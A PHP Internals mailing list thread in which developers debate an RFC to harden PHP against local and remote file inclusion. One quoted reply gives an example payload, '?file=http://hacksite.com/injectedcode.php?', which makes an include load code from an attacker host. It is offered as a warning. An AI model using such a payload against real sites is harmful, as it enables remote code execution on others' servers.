Hi, 2012/4/12 Kris Craig <kris.cr...@gmail.com>: > > > On Wed, Apr 11, 2012 at 1:48 PM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: >> >> Hi, >> >> 2012/4/12 Chris Stockton <chrisstockto...@gmail.com>: >> > Hello, >> > >> > On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig <kris.cr...@gmail.com> >> > wrote: >> >> I can't help but question whether we should even be worrying about >> >> LFI/RFI >> >> to begin with. Personally, I would *never* check-off on code that in >> >> any >> >> way used $_GET or $_POST directly in an include/require statement! >> >> It's >> >> just plain lazy. There's just no excuse for doing that. Use some sort >> >> of >> >> dispatch or translation table. Sure, it might seem less "magical," but >> >> it'll also protect you from some asshole hitting you with something >> >> like, >> >> "?file=http://hacksite.com/injectedcode.php?";. The individual code >> >> developer has to take *some* responsibility for their code. If this is >> >> such a problem, I would think the solution would be to update our docs >> >> to >> >> better warn people about this type of attack and educate them on how >> >> not to >> >> write code that's vulnerable to it. >> >> >> >> We can make the language secure; but, in the end, a language is only as >> >> smart as the person using it. >> >> >> > >> > >> > I really have a hard time understanding how this is even being >> > discussed, there is no real problem here. Making sure user input is >> > validated is a core concept of application development. How on earth >> > can you say "if you don't validate the users input, it's a security >> > problem, so php must fix it", it's the most ridiculousness argument I >> > have read on here in ages. >> >> It is the same as saying that canary protection for stack smashing >> or ASLR is useless if programmer write correct code. >> >> Don't you appreciate that compilers/OSes have additional mitigation >> factor, do you? Or would you like to disable all of these mitigation >> features from your compilers/OSes? I guess not. >> >> C language is prone to be weak for buffer overflows, hence it is >> weak to code execution and/or massive information disclosure. >> (Like private key disclosure demonstrated by MoPB) >> >> Embedded language is prone to be weak for LFI. It also leads >> to code execution and/or massive information disclosure. >> >> These weaknesses are the nature of how languages are made. >> PHP is pure embedded language and there are people trying to >> change it. If we are going to change that, it is reasonable to >> change PHP so that LFI weakness will be closed. >> >> Not closing LFI issue is sound like "We have created Java language >> which is free from memory management, but stack smashing and >> various overflow issues still remains." >> >> > >> > _IF_ you absolutely must accept arbitrary user urls from users, which >> > we all have to do at some point, you use socket functions, file >> > functions, HTTP extension, whatever you want. If you are using INCLUDE >> > you are using the WRONG TOOL. You are WRONG. >> >> Decent programmers knew the most important mitigation factor >> is input control. It is top listed as monster mitigation in SANS CWE >> TOP 25 also. I guess nobody would argue that here. >> >> > >> > _IF_ you are needing to display downloaded user data onto a page, a >> > image for example, you need to use file functions, fpassthru, >> > something of the source. If you are using INCLUDE to do this, you are >> > using the WRONG TOOL. You are WRONG. >> > >> > _IF_ you for some reason must accept LOCAL PATHS from a user, and you >> > do not want to pass that input through a validation layer, you are >> > WRONG. >> > >> > It boils down to you either use the right tools and the right >> > validation methods or I promise this is only one of unlimited possible >> > security concerns Yasuo. >> >> We are discussing PHP being stronger against LFI, if we >> are going to adopt non-ebmed mode for PHP. >> >> PHP is good language for novice. Do we want them to learn >> details of LFI which is described in my RFC? How dangerous it is, >> how it could be exploited, etc. I believe it's just not worth it if we >> made PHP could work in non-embedded mode. >> >> By the way, how many people knew all the exploitation methods that >> I've written in the RFC? It's a real risk, but I guess many of us >> don't even think about or care. How we could expect novice or >> even average PHP programmer care about these risks? >> >> It's better that close window as much as possible where it is >> applicable. >> >> Regards, >> >> -- >> Yasuo Ohgaki >> yohg...@ohgaki.net > > > But you're basically just using an "either or argument," a classic logical > fallacy. I.e. you're saying that, if I believe that the language shouldn't > be twisted to protect against every single possible vulnerability caused by > stupid code, then I must also believe that the language should not contain > any security safeguards, whatsoever. That's just patently ridiculous. > > This isn't an "all or nothing" question. This particular RFC just doesn't > pass the cost/benefit test IMHO. That doesn't mean that all > security-related RFCs don't. In this case, a substantial change to the > language would have to be made, and the only benefit would be protecting > against a very narrow vulnerability that only occurs in really, REALLY bad > code.
Why? It's fully compatible with existing code. It's as few as 3 lines of change to adopt with decent frameworks. I'm missing what made you believe it could cost too much? Regards, -- Yasuo Ohgaki yohg...@ohgaki.net -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
